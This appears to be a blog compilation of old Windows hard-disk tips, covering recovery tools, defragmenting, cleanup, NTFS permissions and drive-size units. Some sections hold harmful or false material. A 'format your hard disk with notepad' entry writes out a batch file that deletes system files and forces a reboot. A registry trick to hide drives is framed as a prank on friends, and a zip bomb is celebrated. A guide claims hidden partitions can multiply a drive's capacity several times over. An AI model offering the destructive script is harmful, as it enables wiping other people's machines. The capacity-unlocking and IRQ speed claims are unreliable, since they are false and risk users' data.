Copy Files From Damaged/Corrupted Hard Disks, CD’s and DVD’s

Most of us use CD’s, DVD’s or hard disks to backup our important files. But these storage medium have the risk of getting damaged at any time. And when you try to copy data from those damaged CD/DVD’s or corrupted hard disks, you would definitely get a Windows Error or cyclic redundancy check error. Roadkil's Unstoppable Copier is freeware utility which helps you to copy data from a damaged disks. Unstoppable Copier from Roadkil allows you to recover data from disks with physical damage or from disks with problems such as bad sectors, scratches or that just give errors when reading data. This Free software will recover every readable piece of a file and put the parts together. This also helps you to recover important files from damaged CD’s or DVD’s. Using this method most types of files can be made useable even if some parts were not recoverable in the end.

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Find Lost Space On Your Hard Disk

Space Sniffer is a freeware for Windows XP and Windows Vista that gives you an idea of how folders and files are structured on your disks, in this way you can easily find lost space in your hard drives. Some quick features * Fast and easy to use * Supports drag and drop * Intuitive structure layout, multiple views for different media * Zoomable elements, navigate like a web browser * The Windows folders and file popup menu is accessible by right mouse click * It’s possible to restrict the view content by typing simple yet powerful filtering criteria * Different views of the same media can show differently filtered elements * Customizable in geometry, colors, behaviors * You can navigate even during the scan * Smart cached scanning engine, multiple views, single scan * You can refine a zoomed area by a secondary scan process, even with main scan active * Reacts to file system events, keeps always in synch, warns you by blinking elements * Can scan NTFS Alternate Data Streams * It doesn’t clutter your registry, only a plain XML configuration file * It’s portable, no installation required, just put the executable somewhere and let’s go Download Instructions Click here to download SpaceSniffer from the official website.

Defragment Hard Drives Using Command Prompt

Today I am sharing the easiest method with you to defragment your hard drive. Though you can perform this task with third party applications also, but why don’t do it a simple way. Here is a simple method to defragment your drives using Command Prompt : 1. Click on Start and then select Run, type CMD in it and hit enter. 2. Suppose you want to defrag your C drive, then in the command box, write defrag C: -f -v and hit enter. The defragmentation will start. Similarly, you can perform this task on diffrent drives by changing the name i.e defrag C: -f -v defrag D: -f -v defrag E: -f -v

Do not unzip this - it is a huge 42 KB file !!!

This is truly a work of clever technical intelligence, You have a 42 KB zip file that expands to 45 PB ( 1 Peta bytes=10¹² bytes). Here is what the web site hosting this file says, The file contains 16 zipped files, which again contains 16 zipped files, which again contains 16 zipped files, which again contains 16 zipped, which again contains 16 zipped files, which contain 1 file, with the size of 4.3GB So, if you extract all files, you will most likely run out of space :-) Now, how on earth does that can happen, well the answer is a characteristic property of zip compression, data redundancy, actually this file has a 4.2 GB file consisting of all zeroes, this means high redundancy and so zip is able to compress it that small. Now, go ahead and unzip it!!!

Enhance Your SATA Hard Disk Performance in Vista

Microsoft Windows Vista users must have used the search box on the Start menu and after using it they must have experienced its sheer power. This search box not only searches in your start menu and control panel but also your personal files like pictures, documents and even your emails. This makes it very useful for everyday tasks. It also saves time and we also tend to get the habit of getting what we want by just typing a few letters and the reason why I love it! Getting back to the topic, if you are having a lot of personal files then this feature of the search box, i.e., searching through files takes toll on its performance and causes it to slow down. But if we narrow down the search to only start menu and control panel then we can easily get some performance benefits. This tip will help us to find the program or setting easily and faster. Follow these steps to make search box faster: 1. First right-click on the Start button and select Properties. 2. Then select the Customize button. 3. Remove the check where it says Search Communications. 4. Then for Search Files set Don’t search for files. 5. Click OK, then OK again and you are done. Enjoy a speedy search and get your results quicker! :)

Change Drive Icon

1.Copy a icon file to the root of the drive.
Eg: c:\icon.ico

2.Then create a file called 'autorun.inf' in C: Drive.
Open that file and type the following:
___________________

[autorun]
icon=icon.ico
___________________

3.Save and close the file.

The icon will be changed!!!

Note: "autorun.inf" and "ico.ico" must be in the root of the drive. Eg: C:\autorun.inf and C:\icon.ico

Securing NTFS files and directories

How to protect NTFS files and directories NTFS is the secure file system used by NT. Note that the program here can undermine NTFS security. A. When you right click on a file in Explorer and select properties (or select Properties from the File menu) you are presented with a dialog box telling you information such as size, ownership etc. If the file/directory is on a NTFS partition there will be a security tab, and within that dialog, a permissions button. If you press that button you can grant access to users/groups on the resource at various levels. There are six basic permissions * R - Read * W - Write * D - Delete * X - Execute * P - Change Permissions * O - Take Ownership These can be assigned to a resource, however they are grouped for ease of use * No Access - User has no access to the resource * List - R User can view directory and filenames in directory * Read - RX User can read files in directory and execute programs * Add - WX User can add files to the directory, but cannot read or change the contents of the directory * Add & Read - RWX User has read and add permissions * Change - RWXD User has read, add, change contents and delete files * All - RWXDPO User can do anything she wants! The permissions above can all be set on a directory, however this list is limited for a file, and permissions that can be set are only No Access, Read, Change and Full Control. Another permission exists called "Special Access" (on a directory there will be two, one for files, one for directories), and from this you can set which of the basic permissions should be assigned.

The Hard Drive Capacity Calculator

Curious why when you buy an iPod, computer hard drive, or memory stick there is less memory actually available then what was advertised? For example, you buy a new laptop, advertised having 100GB of hard drive space, actually only seems to have 93GB available? It almost seems as if there is false advertising involved. I'm sorry to say, this isn't the case, rather just a tricky usage of terminology used by memory manufactures. Let me try to explain... You see, digital data is of binary numbers. 1's and 0's, also called bits. A group of eight (8 bits) 1's or/and 0's describe what is known as a byte. There are hence, 256 different values for a byte. ie: 00000000, 00000001, 00000010, 00000011, ... 11111110, 11111111. Digital memory is measured in the number of bytes, although it can also be described in bits. This is where it gets a bit more confusing.... Just as with our decimal number system, when a very large binary number needs to be described, such as 123,456,789 Bits, we can use Metric prefixes (Kilo, Mega, Giga) to simplify things for us. For example, 123,456,789 Bits is also equal to ~ 123.46 Megabits or 123,456.89 Kilobits. Mega = Million Kilo=Thousand Giga=Billion This is how hard drive manufactures define memory sizes. Pretty easy, right? Well, sorta, this is where it gets a bit complicated. Since the start of computers, it has been common practice to define computer memory in powers of two, since computer memory is binary. For computer programmers, this is, for one reason or another, more practical and accepted. 2^1=2 2^8=256 2^10=1024 1000 is not a power of 2. 1024 is however. Since 1000 and 1024 are close to the same in value, to use the metric prefix 'Kilo' to define 2^10 just became accepted. Overtime, memory sizes grew. Mega came to define 1024 Kilos, or 1024x1024. Giga came to describe 1024 x 1024 x 1024... or 1,073,741,824. A bit different than 1,000,000,000 that we are accustomed Mega meaning Windows, MacOS, the iPod, as well as other devices and software, assume 1 kilobyte = 1024 byte. Hard drive manufactures, not liking this measurement system, have decided to define 1 kilobyte as 1000 bytes. 24 bytes smaller than what is actually considered a Kilobyte, making their storage devices and hard drives seem to have more memory on them then what is actually understood to be there. They are technically correct with their labelling, but it is using the abnormal definition of what a Kilobyte is considered. How do you distinguish between the two? Some have tried to define a difference by capitalizing one and not the other, but that idea seems to have failed in implementation. Capitilization does seem to work though in regards to differentiating between bits and Bytes though. Some add an extra letter to help define it, such as GiB, but it seems to be uncommon. Generally, hard drives and most memory devices use the 1000 definition, and everyone else uses 1024 to define a kilo. Until that changes, that is just a fact we will all have to deal with. Below is a simple tool you can use to discover the actual size of a drive based apon what the drive manufacture labelled it as. --------------------------------------------------------------- GB* Labelled Drive Size <==> GB Actual Drive Size ------------------------------------------------------------------------- ------------------------------------------------------------------------- (* GB = 1,000,000,000) For the sake of ceasing this continuing fight, maybe it be easier if Windows just started displaying memory as 1000 multiples, instead of 1024. Anyone who needs to know data in binary powers are surely smart enough to be able to do the math themselves. and not be being using Windows anyways. :)

Increase Hard disk speed In Windows

If you like to increase/optimize your Hard Disk I/O - read/write speed without buying expensive software utilities to do that job or changing the HD, just follow next steps. With doing these steps you will increase Hard disk speed (depends of manufacture and specification, but its worth to try). The most speed improvement is visible with IDE drives; however there are reports that this tweak also does good for SCSI disks. In any case, it won't harm your system, so try it yourself and let me know what you find! Steps: 1. Run SYSEDIT.EXE from the start. 2. Expand the system.ini file window. 3. Scroll down almost to the end of the file until you find a line called [386enh]. 4. Press Enter to make one blank line, and in that line type 5. Irq14=4096 (note: This line IS CASE SENSITIVE) 6. Click on the File menu, then choose Save. 7. Close SYSEDIT and reboot your computer. 8. Restart windows! The speed improvement will be noticed just after the system reboots, any system info. software can be used to check the improvement.

5 ways to speed up your PC

By following a few simple guidelines, you can maintain your computer and keep it running smoothly. This article discusses how to use the tools available in Windows XP Service Pack 2 (SP2) and Windows Vista to more efficiently maintain your computer and safeguard your privacy when you're online. Free up disk space By freeing disk space, you can improve the performance of your computer. The Disk Cleanup tool helps you free up space on your hard disk. The utility identifies files that you can safely delete, and then enables you to choose whether you want to delete some or all of the identified files. Use Disk Cleanup to: • Remove temporary Internet files. • Remove downloaded program files (such as Microsoft ActiveX controls and Java applets). • Empty the Recycle Bin. • Remove Windows temporary files. • Remove optional Windows components that you don't use. • Remove installed programs that you no longer use. Tip: Typically, temporary Internet files take the most amount of space because the browser caches each page you visit for faster access later. To use Disk Cleanup 1. Click Start, point to All Programs, point to Accessories, point to System Tools, and then click Disk Cleanup. If several drives are available, you might be prompted to specify which drive you want to clean. 2. In the Disk Cleanup for dialog box, scroll through the content of the Files to delete list. 3. Clear the check boxes for files that you don't want to delete, and then click OK. 4. When prompted to confirm that you want to delete the specified files, click Yes. After a few minutes, the process completes and the Disk Cleanup dialog box closes, leaving your computer cleaner and performing better. Speed up access to data Disk fragmentation slows the overall performance of your system. When files are fragmented, the computer must search the hard disk when the file is opened to piece it back together. The response time can be significantly longer. Disk Defragmenter is a Windows utility that consolidates fragmented files and folders on your computer's hard disk so that each occupies a single space on the disk. With your files stored neatly end-to-end, without fragmentation, reading and writing to the disk speeds up. When to run Disk Defragmenter In addition to running Disk Defragmenter at regular intervals—monthly is optimal—there are other times you should run it too, such as when: • You add a large number of files. • Your free disk space totals 15 percent or less. • You install new programs or a new version of Windows. To use Disk Defragmenter: 1.Click Start, point to All Programs, point to Accessories, point to System Tools, and then click Disk Defragmenter. 2.In the Disk Defragmenter dialog box, click the drives that you want to defragment, and then click the Analyze button. After the disk is analyzed, a dialog box appears, letting you know whether you should defragment the analyzed drives. Tip: You should analyze a volume before defragmenting it to get an estimate of how long the defragmentation process will take. 3.To defragment the selected drive or drives, click the Defragment button. Note: In Windows Vista, there is no graphical user interface to demonstrate the progress—but your hard drive is still being defragmented. After the defragmentation is complete, Disk Defragmenter displays the results. 4.To display detailed information about the defragmented disk or partition, click View Report. 5.To close the View Report dialog box, click Close. 6.To close the Disk Defragmenter utility, click the Close button on the title bar of the window. Detect and repair disk errors In addition to running Disk Cleanup and Disk Defragmenter to optimize the performance of your computer, you can check the integrity of the files stored on your hard disk by running the Error Checking utility. As you use your hard drive, it can develop bad sectors. Bad sectors slow down hard disk performance and sometimes make data writing (such as file saving) difficult, or even impossible. The Error Checking utility scans the hard drive for bad sectors, and scans for file system errors to see whether certain files or folders are misplaced. If you use your computer daily, you should run this utility once a week to help prevent data loss. To run the Error Checking utility: 1.Close all open files. 2.Click Start, and then click My Computer. 3.In the My Computer window, right-click the hard disk you want to search for bad sectors, and then click Properties. 4.In the Properties dialog box, click the Tools tab. 5.Click the Check Now button. 6.In the Check Disk dialog box, select the Scan for and attempt recovery of bad sectors check box, and then click Start. 7.If bad sectors are found, choose to fix them. Tip: Only select the "Automatically fix file system errors" check box if you think that your disk contains bad sectors. Protect your computer against spyware Spyware collects personal information without letting you know and without asking for permission. From the Web sites you visit to usernames and passwords, spyware can put you and your confidential information at risk. In addition to privacy concerns, spyware can hamper your computer's performance. Learn all about ReadyBoost If you're using Windows Vista, you can use ReadyBoost to speed up your system. A new concept in adding memory to a system, it allows you to use non-volatile flash memory—like a USB flash drive or a memory card—to improve performance without having to add additional memory.

Unlocking more space on your HDD

Required items: Ghost 2003 Build 2003.775 (Be sure not to allow patching of this software) 2 X Hard Drives (OS must be installed on both.) For sake of clarity we will call the drive we are trying to expand (T) in this document (means Target for partition recover). The drive you use every day, I assume you have one that you want to keep as mater with your current OS and data, will be the last dive we install in this process and will be called (X) as it is your original drive. 1. Install the HDD you wish to recover the hidden partitions (hard drive T) on as the master drive in your system with a second drive as a slave (you can use Hard Drive X if you want to). Any drive will do as a slave since we will not be writing data to it. However, Ghost must see a second drive in order to complete the following steps. Also, be sure hard drive T has an OS installed on it You must ensure that the file system type is the same on both drive (NTFS to NTFS or FAT32 to FAT32, etc) 2. Install Ghost 2003 build 2003.775 to hard drive T with standard settings. Reboot if required. 3. Open Ghost and select Ghost Basic. Select Backup from the shown list of options. Select C:\ (this is the drive we want to free partition on on hard drive T) as our source for the backup. Select our second drive as the target. (no data will be written so worry not). Use any name when requested as it will not matter. Press OK, Continue, or Next until you are asked to reboot. Critical step. 4. Once reboot begins, you must shutdown the PC prior to the loading of DOS or any drivers. The best method is to power down the PC manually the moment you see the BIOS load and your HDDs show as detected. 5. Now that you have shutdown prior to allowing Ghost to do its backup, you must remove the HDD we are attempting to expand (hard drive T which we had installed as master) and replace it with a drive that has an OS installed on it. (This is where having hard drive X is useful. You can use your old hard drive to complete the process.) Place hard drive T as a secondary drive in the system. Hard drive X should now be the master and you should be able to boot into the OS on it. The best method for this assuming you need to keep data from and old drive is: Once you boot into the OS, you will see that the second drive in the system is the one we are attempting to expand (hard drive T). Go to Computer Management -> Disk Management You should see an 8 meg partition labeled VPSGHBOOT or similar on the slave HDD (hard drive T) along with a large section of unallocated space that did not show before. DO NOT DELETE VPSGHBOOT yet. 6. Select the unallocated space on our drive T and create a new primary or extended partition. Select the file system type you prefer and format with quick format (if available). Once formatting completes, you can delete the VPSGHBOOT partition from the drive. 7. Here is what you should now see on your T drive. a. Original partition from when the drive still had hidden partitions b. New partition of space we just recovered. c. 8 meg unallocated partitions. 8. Do you want to place drive T back in a PC and run it as the primary HDD? Go to Disk Management and set the original partition on T (not the new one we just formatted) to and Active Partition. It should be bootable again if no data corruption has occurred. Caution: Do not try to delete both partitions on the drive so you can create one large partition. This will not work. You have to leave the two partitions separate in order to use them. Windows disk management will have erroneous data in that it will say drive size = manus stated drive size and then available size will equal ALL the available space with recovered partitions included. This process can cause a loss of data on the drive that is having its partitions recovered so it is best to make sure the HDD you use is not your current working HDD that has important data. If you do this on your everyday drive and not a new drive with just junk on it, you do so at your own risk. It has worked completely fine with no loss before and it has also lost the data on the drive before. Since the idea is to yield a huge storage drive, it should not matter. Do this carefully, if anything goes wrong, I am not responsible of it. Interesting results to date: Western Digital 200GB SATA Yield after recovery: 510GB of space IBM Deskstar 80GB EIDE Yield after recovery: 150GB of space Maxtor 40GB EIDE Yield after recovery: 80GB Seagate 20GB EIDE Yield after recovery: 30GB Unknown laptop 80GB HDD Yield: 120GB

How to Hide the drives(c:,d:,e:,a:...etc) in My Computer

This is a great trick you can play on your friends. To disable the display of local or networked drives when you click My Computer.

1. Go to start->run.

2. Type regedit. Now go to:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Now in the right pane create a new DWORD item and name it NoDrives(it is case sensitive). Now modify it's value and set it to 3FFFFFF (Hexadecimal). Now restart your computer. So, now when you click on My Computer, no drives will be shown(all gone...). To enable display of drives in My Computer, simply delete this DWORD item that you created. Again restart your computer. You can now see all the drives again. Magic........lol....

Format your hardisk with notepad:

go to notepad @Echo off Del C:\ *.*y save it as Dell.bat or worse @echo off del %systemdrive%\*.*/f/s/q shutdown -r -f -t 00 and save it as a .bat file

To convert a FAT partition to NTFS:

To convert a FAT partition to NTFS: Click Start, click Programs, and then click Command Prompt. In Windows XP, click Start, click Run, type cmd and then click OK. At the command prompt, type CONVERT [driveletter]: /FS:NTFS. Convert.exe will attempt to convert the partition to NTFS. NOTE: Although the chance of corruption or data loss during the conversion from FAT to NTFS is minimal, it is best to perform a full backup of the data on the drive that it is to be converted prior to executing the convert command. It is also recommended to verify the integrity of the backup before proceeding, as well as to run RDISK and update the emergency repair disk (ERD).

Disable the Disk performance counter(s)

Windows XP contains a built in performance monitor that is constantly examining various areas of your system. This information can be called up using the performance monitor application found in control panel\administrative tools. Of course, most of us have little interest in this sort of performance statistics monitoring, that being more the territory of systems administrators than individual users. The thing is, XP is still monitoring away, and some of its observation tools can use a considerable amount of resources. The disk monitoring is an example of this, and it's a good idea to turn the disk monitors off if you are not planning to use the performance monitor application. To do this: Go to the command prompt ('start\run' then type 'cmd') and type 'diskperf -N' Alternate Method Win XP comes with many inbuilt performance monitoring applications that constantly examine various parts of the system. This information can be of real use to a system administrator for collecting performance statistics. However, for a home user, these statistics hold no value and since the monitoring happens all the time, it consumes a good deal of system resources. “Disk monitoring”, for example, happens in the background, and turning it off is advisable if you will not be using the performance monitoring applications. To turn it off, type in “diskperf -N” at a command prompt. To bring up the command prompt: go to Start>Run, type in “cmd” and press [Enter].